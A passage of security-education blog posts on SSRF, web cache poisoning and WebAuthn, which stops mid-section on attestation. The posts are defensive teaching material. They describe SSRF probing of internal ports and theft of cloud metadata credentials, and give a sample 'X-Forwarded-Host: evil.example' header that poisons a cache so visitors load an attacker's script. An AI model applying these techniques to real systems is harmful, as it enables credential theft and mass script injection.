Response-time differences let an attacker map the internal network blind. - **Side effects.** Even without reading a response, forcing the server to hit an internal endpoint can trigger actions: restarting a service, sending an internal request that changes state. Blind SSRF is quieter and slower, but it is not safe. ## Where SSRF hides The vulnerability lives anywhere a server turns user input into an outbound request. The usual suspects: - Webhook and callback URL fields - Link-preview and unfurling features - Server-side PDF and screenshot generators - Image and file proxies, "import from URL" uploaders - Document converters and XML/PDF parsers that follow external references - Integrations that let a user configure an endpoint Any of these is worth a hard look during review. ## Why input filtering fails The instinct is to block bad-looking URLs: reject anything pointing at `localhost`, `127.0.0.1`, or private IP ranges. Attackers have a deep bag of tricks to defeat exactly this: - **Alternate encodings** of the same address (decimal, octal, hex, IPv6-mapped forms). - **DNS rebinding**, where a hostname resolves to a safe address when validated and a dangerous one when fetched. - **Redirects**, where an allowed URL responds with a redirect to an internal target and the server follows it. - **Obscure schemes**, where `file://`, `gopher://` or others reach places `http` filters did not consider. Blocklists lose this race. The list of things to block is open-ended, and the attacker only needs one bypass. ## How to actually defend against SSRF The controls that hold up share a principle: decide where the server is allowed to go, and deny everything else. 1. **Allowlist outbound destinations.** For each URL-fetching feature, define the small set of domains or hosts it legitimately needs and reject the rest. Deny by default. This is the single most effective control. 2. **Validate after resolution, and pin it.** Resolve the hostname, confirm the resulting IP is in your allowed set, and connect to that exact IP so DNS cannot change under you (defeating rebinding). 3. **Do not follow redirects blindly.** If you must, re-validate every hop against the allowlist. 4. **Restrict schemes and ports** to what the feature needs, normally just `https` on `443`. 5. **Enforce IMDSv2** (or your provider's hardened metadata mode) so the metadata service requires a token an SSRF cannot easily supply. 6. **Segment the network.** Put URL-fetching services where they cannot reach internal admin planes or sensitive services. When the app-layer control fails, segmentation caps the damage. Treat SSRF as a defense-in-depth problem. Application-layer allowlisting stops the request; network segmentation and IMDSv2 make the request worthless even if it gets through. Rely on either alone and a single bypass is game over. SSRF is a small bug with an outsized reach. It costs an attacker one controllable URL and gives them the network position of your trusted backend. Build the URL-fetching features in your app on a deny-by-default allowlist from the start, harden the cloud metadata service, and segment the network behind them, and you remove both the easy win and the catastrophic one. ## A worked SSRF walkthrough It helps to trace a single attack from the outside in, because the individual steps are each unremarkable and the danger lives in how they chain. Picture an application with a profile page that lets you set an avatar by pasting an image URL. The server fetches that URL, resizes the image, and stores the result. A normal request looks like `https://cdn.example.com/cats/tabby.png`, and the server dutifully downloads it. Nothing about the feature looks risky. It is a convenience most products ship without a second thought. The attacker starts by confirming the server, rather than the browser, makes the fetch. They host a URL on infrastructure they control and paste it in. When their own server logs an inbound request from the application's egress IP address rather than from the attacker's home connection, the behaviour is confirmed. The application is a request engine that will call arbitrary destinations. Next they probe inward. They swap the external URL for `http://127.0.0.1:8080/` and watch how the application responds. An error that mentions a connection refused on one port and a different response on another is a map of what services listen on the loopback interface. The attacker walks common ports, learning that an internal admin service answers on one of them, all without the target service ever being exposed to the internet. Then they reach for the prize. On a cloud instance they point the avatar fetcher at the link-local metadata address and request the path that lists instance roles, then the path that returns temporary credentials for a role. If the metadata service is running in its unauthenticated mode, the response is a small block of text containing an access key, a secret, and a session token. The attacker copies those into their own tooling and now holds valid, if temporary, credentials for the cloud account. From there the damage is a function of what that role can do. A role scoped to a single storage bucket leaks that bucket. A role with broad permissions, which is depressingly common, opens the whole account. The entry point was a box that asked for an image URL. Every step after it was legitimate machinery doing exactly what it was built to do, pointed somewhere it was never meant to go. ## Detection signals SSRF is quiet by nature, because the malicious request comes from your own trusted server and often looks like ordinary outbound traffic. The signals that give it away tend to sit in logs people do not routinely watch. - **Outbound requests to internal or link-local addresses.** A URL-fetching service that suddenly connects to `169.254.169.254`, `127.0.0.1`, or an RFC 1918 private range is the clearest tell there is. Egress logs and proxy logs are where this shows up. - **Metadata endpoint access in application context.** Any hit on the instance metadata service that originates from a web-facing process, rather than from expected system tooling, deserves an alarm. On hardened setups this path should almost never be walked by the application itself. - **A spike in fetch errors across many hosts or ports.** Blind SSRF probing produces a scatter of connection attempts to addresses and ports the feature has no business touching. A burst of timeouts and refusals clustered in time is a fingerprint of internal port scanning through the app. - **Requests whose destination hostname resolves to a private IP.** Logging the resolved address alongside the requested hostname catches DNS rebinding and cases where an allowed domain quietly points inward. - **Redirect chains that end on internal targets.** If your fetcher follows redirects, a request that starts at a public URL and lands on an internal one is worth capturing and reviewing. - **Out-of-band callbacks you did not initiate.** Interaction with unexpected external domains, especially freshly registered ones, can indicate an attacker using a callback listener to confirm blind SSRF. Most SSRF detection fails because logs record the hostname a feature was asked to fetch and never the address it actually connected to. Capturing the post-resolution IP for every outbound request turns DNS rebinding and encoded-address tricks from invisible into obvious, because the private-range destination shows up in plain text. ## SSRF compared to related web bugs SSRF gets confused with a handful of neighbouring vulnerabilities because several of them involve URLs, redirects, or requests crossing a trust boundary. The distinctions matter, because the fixes differ. | Technique | Who makes the request | Core abuse | Primary fix | |---|---|---|---| | SSRF | The server | Server fetches an attacker-chosen internal or sensitive destination | Deny-by-default outbound allowlist, IMDSv2, segmentation | | CSRF | The victim's browser | Victim is tricked into sending an authenticated request they did not intend | Anti-CSRF tokens, SameSite cookies | | Open redirect | The victim's browser | App redirects the user to an attacker-controlled external site | Validate and allowlist redirect targets | | XXE | The server (XML parser) | External entity references pull in files or internal URLs during parsing | Disable external entity resolution | | DNS rebinding | The server or client | A hostname's resolution changes between validation and use | Pin the resolved IP, re-validate on connect | The pattern to hold on to: CSRF and open redirect abuse the trust a browser has, while SSRF and XXE abuse the trust and network position a server has. SSRF and XXE often blur together because a permissive XML parser is one of the classic ways to trigger SSRF, and DNS rebinding is less a separate bug than a technique that makes SSRF filtering fail. ## Common misconceptions **"We validate the URL, so we are safe."** Input validation on the string the user submits is the control attackers spend the most effort defeating. Alternate IP encodings, redirects, and DNS rebinding all pass a naive string check and still reach an internal target. Validation has to happen after DNS resolution, against the actual IP the connection will use, with that IP pinned for the connection. **"Blind SSRF is low severity because nothing comes back."** Not seeing the response only removes the easiest exploitation path. Timing differences map internal services, out-of-band callbacks confirm reachability, and forced internal requests trigger state changes. Blind SSRF has led to full credential theft in cases where the metadata response was exfiltrated through a side channel. **"Only public-facing apps are at risk."** An internal service with an SSRF flaw is often a more valuable pivot, because it already sits deep in the network. Any service that fetches URLs on someone else's behalf is a candidate, wherever it lives. **"Blocking `localhost` and private ranges is enough."** Blocklisting is a losing race against an open-ended set of bypasses. The metadata address itself is a link-local address that people frequently forget to include, and even a complete blocklist falls to rebinding. Allowlisting the small set of destinations a feature legitimately needs is the control that holds. **"IMDSv2 fixes SSRF."** Hardening the metadata service removes one specific and catastrophic target. It does nothing about SSRF reaching internal admin panels, databases, or other services. It is a critical layer, and it is not the whole defence. ## How SSRF became a cloud problem SSRF is not new. Server-side request forgery was described and exploited for years as a moderate-severity issue, useful mainly for reaching internal services on a flat network or scanning ports from inside a perimeter. It rarely topped a severity list, because the payoff was usually reconnaissance rather than direct compromise. Two shifts changed its standing. The first was the move to cloud infrastructure and the arrival of the instance metadata service as a standard feature. Suddenly every cloud virtual machine carried a local endpoint that would hand out credentials to whatever process asked, and SSRF was the way for a web application to become that process. A reconnaissance bug turned into a credential-theft bug overnight, and several of the largest publicly discussed cloud breaches followed that exact path. The second shift was architectural. Modern applications are meshes of services that call one another over HTTP, pull in webhooks, generate link previews, render pages to PDF, and import data from URLs. Every one of those features is a place where user input can steer a server-side request. As the number of URL-fetching features per application grew, so did the attack surface. The industry response was to promote SSRF into the OWASP Top 10 as its own category, a recognition that it had graduated from a niche finding to a systemic risk. Cloud providers responded by hardening the metadata service, offering a token-based mode that a naive forged request cannot satisfy. The technique and its defences have been co-evolving since, which is why the durable answer is architectural rather than a single patch. ## Beyond the metadata endpoint The metadata service gets the headlines, and it is worth knowing the other destinations that make SSRF valuable, because hardening one target does not retire the technique. Internal APIs are a frequent second prize. Many organisations run administrative and orchestration APIs that trust any request arriving from inside the network and skip authentication on the assumption that the perimeter keeps outsiders away. SSRF puts the attacker inside that perimeter, so those APIs answer as if the request were legitimate. Container and orchestration platforms often expose control endpoints on the loopback interface or a private address, and reaching them can mean scheduling workloads, reading secrets, or listing the whole cluster. Databases and caches that bind to an internal interface are reachable too, especially through protocol-smuggling tricks. Some SSRF flaws allow schemes beyond `http`, and a scheme like `gopher` can be abused to send crafted bytes to a service that speaks a line-based protocol, effectively letting the forged request issue commands to an internal cache or queue. This is why restricting the allowed schemes to exactly what a feature needs, usually `https` alone, matters as much as restricting the destination. Cloud provider APIs and internal identity endpoints round out the list. Once an attacker holds credentials pulled from the metadata service, the same SSRF or the stolen keys can be turned against the provider's own management interfaces. The lesson is consistent: the value of SSRF scales with everything the trusted server can reach, so the defence has to constrain that reach rather than guard a single famous address. ## Frequently asked questions **Is SSRF only an issue in the cloud?** No. SSRF is exploitable anywhere a server makes requests on behalf of a user, including on-premise networks where it can reach internal admin interfaces, databases, and other services. The cloud metadata angle is what raised its ceiling to full account compromise, which is why cloud environments get the most attention. **What is the difference between SSRF and CSRF?** They sound alike and are unrelated in mechanism. CSRF tricks a victim's browser into sending an authenticated request the user did not intend. SSRF tricks a server into sending a request to a destination the attacker chose. CSRF abuses browser trust, SSRF abuses server trust and network position. **Can HTTPS or a web application firewall stop SSRF?** Not reliably. Encryption protects data in transit and does nothing about where a request is aimed. A firewall tuned for inbound attacks may not inspect the outbound requests SSRF generates, and payloads that use alternate encodings or redirects routinely slip past signature-based rules. The effective controls live in the application and network design. **What is IMDSv2 and why does it matter?** It is the hardened mode of the cloud instance metadata service that requires a session token obtained through a specific request before it will return credentials. A basic SSRF that simply fetches the metadata URL cannot supply that token, which closes the single most damaging SSRF path. It should be enforced on every instance. **How do I test my own application for SSRF?** Identify every feature that fetches a URL, then point each one at a server you control and confirm whether the request arrives from your application's egress address. From there, test internal addresses, the metadata endpoint, alternate IP encodings, and redirect following. Do this only against systems you own or are authorised to test. **Does allowlisting outbound destinations break legitimate features?** It requires you to know what each feature legitimately needs to reach, which is a healthy thing to know anyway. Most URL-fetching features talk to a small, stable set of domains. The rare feature that must fetch genuinely arbitrary user URLs should be isolated on infrastructure that cannot reach anything sensitive, so a forged request lands nowhere useful. **Is SSRF still relevant now that metadata services are hardened?** Yes. Hardening removed the easiest catastrophic target, and SSRF still reaches internal services, databases, admin panels, and other cloud endpoints. It remains an OWASP Top 10 category because the underlying pattern, a server making attacker-controlled requests, is baked into how modern applications are built. ## Related guides - [The Capital One Breach](/capital-one-breach-explained) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [CSRF Explained](/csrf-explained) - [Cloud Misconfigurations Guide](/cloud-misconfigurations-guide) - [API Security Guide](/api-security-guide) - [Cloud Security Fundamentals](/cloud-security-fundamentals) ### Sources - OWASP: Server-Side Request Forgery (OWASP): https://owasp.org/www-community/attacks/Server_Side_Request_Forgery - OWASP Top 10: A10 Server-Side Request Forgery (OWASP): https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/ - MITRE ATT&CK: Cloud Instance Metadata API (T1552.005) (MITRE): https://attack.mitre.org/techniques/T1552/005/ --- ## Web Cache Poisoning: Cache Keys, Unkeyed Inputs & Defense > How web cache poisoning turns a shared cache into a delivery system for attacker content by abusing unkeyed inputs, and how to defend the cache key. - URL: https://blog.pwnsy.com/web-cache-poisoning-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: advanced - Category: web-security - Tags: cache-poisoning, web-security, owasp, http, appsec - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Web cache poisoning tricks a shared cache into storing an attacker-influenced response and serving it to everyone who requests the same resource. - It works when a request input affects the response but is not part of the cache key, so the cache treats a poisoned response as valid for the normal URL. - One crafted request can turn into a payload delivered to every subsequent visitor until the entry expires, amplifying XSS, redirects, and defacement. - The defense is to align the cache key with everything that changes the response, or to stop those inputs from changing cached content at all. ### Key Takeaways - The cache key is the set of request parts (usually method, host, and path, sometimes a few headers) the cache uses to decide if two requests are the same. - An unkeyed input is any request element that alters the response but is left out of the key, and it is the raw material of every cache poisoning attack. - Common culprits are headers like X-Forwarded-Host and X-Forwarded-Scheme that the application reflects into responses but the cache ignores. - Cache poisoning chains with other bugs: an unkeyed header reflected without encoding becomes stored XSS delivered by the cache. - Defenses include keying on all response-affecting inputs, stripping unkeyed request headers at the edge, and not caching responses that vary on untrusted input. Caches exist to serve the same content to many people cheaply. That is their purpose and, from a security standpoint, their hazard. If an attacker can convince a shared cache to store a response of their choosing under a URL that ordinary users request, the cache does the attacker's distribution for them. One malicious request goes in, and a poisoned response comes out for every visitor who asks for that page until the cache entry expires. This is web cache poisoning, and it turns a performance layer into an attack multiplier. The attack rewards patience and precision. It depends on understanding one specific idea, the cache key, and on finding the inputs the cache forgot to include in it. ## The cache key is the whole game When a request arrives, a cache has to decide whether it already holds a response that will do. It answers that by computing a **cache key** from selected parts of the request. Typically the key is the request method, the host, and the path, sometimes with a specific query string or a small set of headers added. If a new request produces the same key as a stored response, the cache serves the stored copy without asking the origin server. Everything the cache puts into the key is **keyed**. Everything else is **unkeyed**. Unkeyed inputs are the crux of cache poisoning. If a request element is unkeyed but still changes the response the origin generates, then two requests that the cache considers identical can produce different responses, and the cache cannot tell them apart. An attacker sends a request whose unkeyed input produces a malicious response, the cache stores it against the normal key, and it then hands that malicious response to real users whose requests match the same key. ## A concrete walkthrough Suppose an application generates absolute URLs in its pages (for scripts, links, or redirects) using the `X-Forwarded-Host` header, which is a common pattern behind proxies. The cache, meanwhile, keys only on host and path and ignores `X-Forwarded-Host` entirely. That header is unkeyed but response-affecting, the exact combination the attack needs. An attacker sends a request for the home page with `X-Forwarded-Host: evil.example`. The origin dutifully builds the page with resource URLs pointing at `evil.example`, for instance a script tag loading JavaScript from the attacker's server. The cache stores this response under the ordinary home-page key, because as far as it can see this was a normal request for the home page. From that moment, every user who loads the home page is served the cached copy, and their browser fetches and runs the attacker's script. A single request has become stored cross-site scripting delivered to the whole audience of that page. What makes cache poisoning dangerous is reach. A reflected vulnerability normally harms only the user who clicked the crafted link. Route it through a shared cache and the same payload is served to everyone who requests the poisoned resource, with no link to click. The blast radius is the cache's entire audience for that entry, for as long as the entry lives. ## The families of unkeyed input | Source | Example | Why it poisons | |---|---|---| | Forwarding headers | `X-Forwarded-Host`, `X-Forwarded-Scheme` | Reflected into links and redirects, ignored by the key | | Custom application headers | App-specific headers that toggle behavior | Change the response body but are not keyed | | Unkeyed query parameters | Parameters the cache strips before keying | Alter the response yet collapse to the same key | | Cache key normalization quirks | Case, encoding, or trailing-character handling | Let an attacker hit the same key as victims by a path the origin treats differently | Two conditions must hold together for any of these: the input must change the response, and the cache must exclude it from the key. Where both are true, the resource is poisonable. ## What an attacker can deliver Cache poisoning is a delivery mechanism, so its ceiling is set by what the unkeyed input lets the response do: - **Stored XSS**, when an unkeyed header or parameter is reflected into the page without proper encoding. - **Malicious redirects**, when the poisoned response sends users to an attacker site, effectively a cache-delivered open redirect. - **Defacement or content injection**, when reflected input changes visible page content. - **Denial of service**, when a crafted request makes the origin return an error that the cache then stores and serves for a legitimate URL, a variant known as cache-key denial of service. - **Loading of attacker resources**, when reflected host or scheme values point scripts, styles, or imports at attacker-controlled origins. It also pairs with HTTP request smuggling: a smuggled request can force a poisoned entry into the cache even where the cache would not otherwise accept the attacker's input directly. ## Why this is easy to miss The vulnerable request often looks completely normal in isolation. The attacker adds one header most tools do not display, gets an ordinary-looking response, and the poisoning only becomes visible when a different user, later, on a different request, is served the stored copy. Testing requires sending the crafted request, then a clean request for the same key, and checking whether the clean request receives the poisoned response. Missing that second step hides the whole class of bug. ## How to defend against cache poisoning Every durable control comes back to one rule: nothing that changes the response may be left out of the cache key, and nothing untrusted should change a cached response. 1. **Key on every input that affects the response.** If a header or parameter can change what the origin returns, either include it in the cache key or stop the origin from varying on it. The `Vary` response header is the standard way to tell caches which request headers matter. 2. **Strip unkeyed request headers at the edge.** Remove headers like `X-Forwarded-Host` and other forwarding or custom headers at the cache or CDN before they reach the origin, unless the origin genuinely needs them and they are keyed. If the origin never sees the unkeyed input, it cannot reflect it. 3. **Do not build responses from untrusted request headers.** Generate absolute URLs, redirects, and links from server configuration, not from client-supplied host or scheme headers. This removes the reflection at the source, which also fixes the related host header injection risk. 4. **Encode all reflected output.** If any input does reach the response, contextual output encoding stops it from becoming XSS even if a resource is poisoned. Cache poisoning turns a reflection bug into a broadcast, so removing the reflection removes the broadcast payload. 5. **Do not cache what should not be cached.** Mark responses that depend on untrusted or per-user input as uncacheable with explicit `Cache-Control` directives, so they never enter a shared cache in the first place. 6. **Normalize cache keys carefully.** Ensure the cache and origin agree on path casing, encoding, and trailing characters so an attacker cannot poison the key victims will hit by exploiting a normalization gap. For every cache in front of your application, ask two questions of each request element: does it change the response, and is it in the key. If the answer is yes-and-no, you have a poisoning primitive. Fix it by putting the input in the key, or by stripping the input before the origin can react to it. One of those two must be true for every response-affecting field. ## Where caches live and why it matters The word cache covers several very different layers, and the poisoning risk looks different at each one. Knowing where a response is stored tells you who is affected and how long the poisoning lasts. A **content delivery network** sits at the edge, close to users, and caches responses for a whole region or the whole internet. Poisoning an entry here has the widest blast radius, because every user routed to that edge node receives the stored copy. CDNs also tend to key aggressively on just host and path for performance, which is exactly the condition that leaves headers unkeyed. A **reverse proxy** in front of the origin caches on behalf of the application for all its users. Poisoning it affects everyone who hits that proxy for the resource. This is the classic shared-cache target described throughout this guide. A **load balancer or gateway** may cache selectively, and any caching layer inside the request path counts, including ones teams forget are there. The **browser cache** is per-user and private, so a poisoned entry harms only that one user. It matters far less for a broadcast attack, though it can still hold a bad response longer than expected for the individual. The important operational point is that there is often more than one cache in the path, and they may key differently. A response can be uncacheable at the origin's intent yet still stored by an intermediary that reads the headers differently. Every cache between the user and the origin is a place the key and the response must agree, and a mismatch at any one of them is a poisoning primitive. ## How to test for cache poisoning Because the vulnerable request looks ordinary in isolation, testing has a specific rhythm that separates it from most reflection testing. The method comes down to proving that an unkeyed input reaches other users. 1. **Find inputs that affect the response.** Add candidate headers to a request one at a time, for example forwarding headers or custom application headers, and watch whether the response changes. A value that appears reflected in the body, a link, or a redirect is a candidate. 2. **Confirm the input is unkeyed.** Send the same request without your crafted input and check whether the cache serves your earlier, modified response anyway. If a clean request receives the response shaped by your header, the input is unkeyed and the response was cached against the normal key. 3. **Use a cache buster while probing.** Add a unique, harmless query parameter during testing so you do not poison the real entry that live users hit. This lets you study the behavior without harming anyone, and you remove the buster only when you deliberately want to prove full impact in a controlled test. 4. **Look for the cache's own signals.** Response headers that indicate a hit or a miss, and age headers, tell you whether your response was stored and served from cache. Watching these confirms each step. 5. **Prove reach.** The finding is real when a request with none of your crafted input, matching the key a normal user would produce, receives the poisoned response. That is the whole vulnerability: an ordinary request served attacker-shaped content. Skipping the second and fifth steps is the most common reason this class of bug is missed. A reflected header alone is not cache poisoning. The proof is that a clean request, later, gets the poisoned copy. Always probe with a unique cache-buster parameter so your experiments do not poison the entry real users receive. Once you understand the behavior, the finding is only confirmed when you demonstrate, carefully, that a request matching the genuine key returns your content. The buster protects users while you learn; removing it in a controlled check is what proves the impact is real rather than confined to your own throwaway key. ## Cache poisoning versus cache deception The two attacks sound alike and are frequently confused, so it helps to separate them cleanly. | Aspect | Web cache poisoning | Web cache deception | |---|---|---| | Goal | Serve attacker content to other users | Trick the cache into storing a victim's private content | | Who is harmed | Everyone who requests the poisoned resource | The victim whose sensitive response gets cached | | Direction of the trick | Attacker shapes a response stored for others | Attacker causes a victim's response to be stored and then reads it | | Root cause | Unkeyed input affects a cached response | Cache stores a response it should have treated as private | | Typical fix | Align the key with response-affecting inputs | Do not cache authenticated or dynamic responses; match cache rules to content type | In poisoning, the attacker pushes content out to the crowd. In deception, the attacker pulls a specific victim's private content into a cache they can then read. Both come from the cache and origin disagreeing about what may be stored and under what key, which is why they are cousins, but the mechanics and the fixes differ. ## Common mistakes and misconceptions **Treating a reflected header as harmless because it needs a header most users never send.** Through a shared cache, the attacker sends the header once and everyone else receives the result without sending anything. The rarity of the input is irrelevant when the cache does the distribution. **Assuming HTTPS prevents it.** Transport encryption protects data in transit. Cache poisoning happens at the application and cache layer, on content the cache is entitled to store and serve. The connection can be perfectly encrypted while the cached content is malicious. **Testing only the crafted request.** Sending the header and seeing it reflected proves reflection, not poisoning. Without the follow-up clean request that receives the stored copy, you have not shown the response reaches other users, which is the entire risk. **Fixing the reflection but leaving the input unkeyed.** Output encoding stops the XSS payload, which is worth doing, but an unkeyed input that still changes the response can enable redirects, resource loading, or denial of service. The durable fix addresses the key itself, so it covers every payload rather than the single one you happened to find. **Forgetting intermediary caches.** Marking a response uncacheable at the origin does not help if a CDN or proxy in the path applies its own rules. Every cache in the chain has to agree, so the configuration has to be checked end to end. ## Detection signals Cache poisoning is quiet by nature, but there are indicators worth watching in logs and monitoring. - **Cached responses containing unexpected hosts or schemes.** Links, script sources, or redirects pointing at domains you do not own, served from cache, are a direct sign of a poisoned entry. - **A spike in identical error responses served from cache for a normal URL.** This can indicate cache-key denial of service, where a crafted request made the origin error and the cache stored the error for a legitimate resource. - **Requests carrying unusual forwarding or custom headers against cacheable paths.** Repeated probing with headers like the forwarded-host header on cacheable resources can precede a successful poisoning. - **Mismatches between what the origin generated and what users report seeing.** When users receive content the origin logs do not show it producing for their request, an intermediary cache may be serving a stored, poisoned copy. - **Discrepancies in cache hit and age headers around a resource.** Unusual patterns can reveal that an entry was populated by a request that should not have shaped it. ## How the technique became prominent Caching has always carried the risk that a shared store could serve the wrong content, and the general idea of poisoning a cache is old. What changed is the depth of understanding of how ordinary request inputs feed into cached responses on the modern web. Two shifts pushed the technique to the front. First, the web moved heavily toward layered caching, with content delivery networks and reverse proxies sitting in front of most large applications for performance. That put a shared cache in the path of nearly every request, which is the precondition the attack needs. Second, research into unkeyed inputs made it clear how many applications reflect headers like the forwarded-host header into links, redirects, and resources, while the caches in front of them ignore those headers when keying. The combination of a universal shared cache and a widespread reflection pattern turned a theoretical risk into a practical, repeatable one. The framing around the cache key was the conceptual unlock. Once the attack is understood as a disagreement between what shapes the response and what the cache keys on, testing becomes systematic and defense becomes clear. That framing is why the modern treatment of cache poisoning centers on the key rather than on any single vulnerable header, and why the durable fixes all come back to aligning the key with the response. ## Frequently asked questions **What is the difference between the cache key and the cache entry?** The cache key is the fingerprint the cache computes from selected parts of a request to decide whether it already holds a matching response. The cache entry is the stored response itself. Two requests with the same key are treated as the same and served the same entry, which is why an input left out of the key can let one request's response be served to another. **What is an unkeyed input?** Any part of a request that changes the response the origin generates but is not included in the cache key. Forwarding headers, certain custom headers, and query parameters the cache strips are common examples. Unkeyed inputs are the raw material of cache poisoning, because they let two requests the cache considers identical produce different responses. **Does HTTPS stop web cache poisoning?** No. Encryption protects the connection, while cache poisoning targets the content a cache is allowed to store and serve. The transport can be fully secure while the cached response is attacker-shaped. The defense is at the cache and application layer, not the transport layer. **How is this different from cross-site scripting?** Cross-site scripting is about injecting script into a page. Cache poisoning is a delivery mechanism that can carry an XSS payload, among other effects. A reflected XSS bug normally harms only the user who clicks the crafted link. Routed through a shared cache, the same payload is served to everyone who requests the resource, with no link to click. **What is the single most important defense?** Making the cache key include everything that changes the response, or removing those inputs before the origin can react to them. If nothing unkeyed can alter a cached response, the primitive disappears. Stripping untrusted forwarding and custom headers at the edge is often the most direct way to achieve that. **Can a CDN configuration alone cause this?** Yes. A CDN that keys only on host and path while the origin varies its response on a header the CDN ignores creates the exact condition poisoning needs, without any bug in the application code. Cache configuration is part of the attack surface and has to be reviewed alongside the application. **How does cache poisoning relate to request smuggling?** HTTP request smuggling can force a poisoned entry into a cache even where the cache would not otherwise accept the attacker's input directly. A smuggled request desynchronizes how the front-end and back-end parse the stream, letting the attacker plant a response against a key that legitimate users will hit. The two techniques chain naturally. Web cache poisoning weaponizes the very layer you added for speed, and it scales a single crafted request to everyone the cache serves. Attackers look for the unkeyed input that the origin still trusts. Our Exploit Intelligence dashboard tracks how these infrastructure-level techniques appear in real exploitation activity. Align your cache keys with everything that shapes the response, strip the headers the origin should never trust, and keep untrusted input out of cached content, and the cache goes back to serving pages instead of payloads. ## Related guides - [HTTP Request Smuggling Explained](/http-request-smuggling-explained) - [Host Header Injection Explained](/host-header-injection-explained) - [HTTP Security Headers Reference](/http-security-headers-reference) - [OWASP Top 10 Explained](/owasp-top-10-explained) ### Sources - PortSwigger Web Security Academy: Web cache poisoning (PortSwigger): https://portswigger.net/web-security/web-cache-poisoning - OWASP: Cache Poisoning (OWASP): https://owasp.org/www-community/attacks/Cache_Poisoning - MITRE CWE-524: Use of Cache Containing Sensitive Information (MITRE): https://cwe.mitre.org/data/definitions/524.html --- ## WebAuthn Explained: The FIDO2 Standard Behind Passkeys > How WebAuthn and FIDO2 work: authenticators, the sign-in ceremonies, attestation, and the roles behind passwordless login. - URL: https://blog.pwnsy.com/webauthn-explained - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: web-security - Tags: webauthn, fido2, passwordless, authentication, ctap - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - WebAuthn is the W3C browser API that lets a website create and use public-key credentials, and it is the standard that makes passkeys and hardware security keys work. - FIDO2 is the umbrella: WebAuthn is the browser-to-server half, and CTAP is the browser-to-authenticator half that talks to your device or security key. - There are two ceremonies. Registration creates a key pair bound to the site's origin, and authentication proves the user holds the private key by signing a challenge. - Attestation lets a relying party learn what kind of authenticator was used, which matters for high-assurance deployments but is optional for consumer login. ### Key Takeaways - The three roles are the relying party (the website), the client (the browser), and the authenticator (the device or security key that holds the private key). - Registration returns a public key and a credential id; authentication returns a signature over a server-issued challenge, counter, and origin data. - Origin binding and the challenge are what make WebAuthn phishing-resistant and replay-resistant. - Attestation formats let a relying party verify the authenticator's make and model, useful for regulated environments and optional elsewhere. - The signature counter helps a relying party detect a cloned authenticator across logins. Passkeys get the attention, but the standard doing the work underneath is WebAuthn, part of the FIDO2 project. If you build or operate authentication, understanding WebAuthn is what lets you reason about what is actually happening when a user taps a security key or confirms with a fingerprint. This guide covers the roles, the two ceremonies, attestation, and the properties that make the whole thing phishing-resistant. ## FIDO2: two halves of one system FIDO2 is a joint effort of the W3C and the FIDO Alliance, and it has two components that fit together. **WebAuthn** is the W3C standard: a JavaScript API in the browser that a website calls to register and use public-key credentials. It defines the messages between the website's server and the browser. **CTAP**, the Client to Authenticator Protocol, is the FIDO Alliance standard for the other link: how the browser talks to the authenticator, whether that is a roaming USB or NFC security key or a platform authenticator built into the laptop or phone. So a full login spans two hops. Server to browser is WebAuthn. Browser to authenticator is CTAP. Together they let a website ask a device to prove possession of a private key without any shared secret ever crossing the network. ## The three roles Every WebAuthn flow has three participants, and keeping them straight makes everything else clear. | Role | WebAuthn term | What it does | |---|---|---| | The website | Relying party | Stores public keys, issues challenges, verifies responses | | The browser | Client | Mediates between the site and the authenticator, enforces origin | | The device or key | Authenticator | Generates and holds private keys, signs challenges | The **authenticator** is where the private key lives and never leaves. It comes in two shapes. A **platform authenticator** is built into a device, such as the secure hardware behind a laptop's fingerprint reader or a phone's face unlock. A **roaming authenticator** is a separate device, typically a USB, NFC, or Bluetooth security key you carry. The [best hardware security keys](/best-hardware-security-keys) are roaming authenticators. ## The registration ceremony Registration is how a user enrols a new credential with a site. WebAuthn calls it a ceremony because it is a defined sequence across all three roles. 1. The relying party generates a random **challenge** and sends it to the browser, along with information about the site and the user, by calling `navigator.credentials.create()`. 2. The browser passes the request to the authenticator, including the **origin** it is running on. 3. The authenticator asks the user to consent, with a touch, biometric, or PIN (this is the **user gesture**, proof a human is present). 4. The authenticator generates a fresh key pair scoped to this relying party. It keeps the private key and returns the public key, a **credential id**, and an attestation object. 5. The browser forwards this to the relying party, which stores the public key and credential id against the user's account. From that point the site holds a public key it can use to verify future logins, and the private key exists only inside the authenticator. Because the key pair is bound to the relying party's identifier and the origin, a credential created for one site cannot be used at another. ## The authentication ceremony Authentication reuses that credential to log the user in. It mirrors registration but proves possession rather than creating a key. 1. The relying party generates a new random challenge and sends it, listing which credential ids it will accept, by calling `navigator.credentials.get()`. 2. The browser passes the challenge and origin to the authenticator. 3. The user performs the gesture to unlock the private key locally. 4. The authenticator **signs** a data structure that includes the challenge, the relying party id, a signature counter, and flags, then returns the signature. 5. The relying party verifies the signature against the stored public key and checks that the challenge, origin, and relying party id all match what it expects. Two properties fall directly out of this. The fresh challenge each time makes the response impossible to replay, since last login's signature does not satisfy this login's challenge. And the origin and relying party id checks mean the signature is only valid for the real site, which is the root of phishing resistance. For the practical user view of this, see [Passkeys Explained](/passkeys-explained). For the signing primitive, see [How Digital Signatures Work](/how-digital-signatures-work). Two small pieces of every WebAuthn ceremony carry most of the security. The random challenge, freshly generated per attempt, blocks replay. The origin check, enforced by the browser and folded into what the authenticator signs, blocks phishing. Neither depends on the user spotting anything, which is why the protection holds even against a convincing fake site. ## The signature counter Each authenticator can maintain a **signature counter** that increments every time it produces an assertion. It returns the current value in each authentication response, and the relying party can store the last value it saw. The point is clone detection. If a relying party sees a counter that went backward or failed to advance in a way that suggests two copies of the same credential in use, that is a signal the authenticator may have been cloned. It is not a complete defence on its own, and some authenticators keep the counter at zero, but where present it gives the relying party a way to notice duplication across logins. ## Attestation Attestation answers a question the relying party may care about: 